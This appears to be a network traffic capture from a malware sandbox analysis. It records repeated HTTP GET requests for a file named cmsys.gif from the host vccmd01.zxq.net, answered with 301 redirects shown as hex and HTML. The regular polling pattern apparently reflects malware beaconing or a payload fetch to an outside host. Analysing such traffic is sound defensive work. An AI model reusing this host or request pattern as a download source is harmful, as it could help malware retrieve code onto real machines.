Oct 10, 2024 10:13:39.464523077 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:13:39.642304897 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:13:39 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:13:45.730760098 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:13:45.907757044 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:13:45 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:13:52.031101942 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:13:52.208436012 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:13:52 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:13:58.387377024 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:13:58.604451895 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:13:58.916961908 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:13:59.234674931 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:13:59 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:14:04.072504044 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:14:04.249666929 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:14:04 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:14:09.650521994 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:14:09.827497959 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:14:09 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:14:14.392272949 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:14:14.569715023 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:14:14 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:14:19.746576071 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:14:19.923496008 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:14:19 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:14:25.962337017 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:14:26.139231920 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:14:26 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:14:31.898283005 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:14:32.075472116 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:14:31 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:14:38.450176001 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
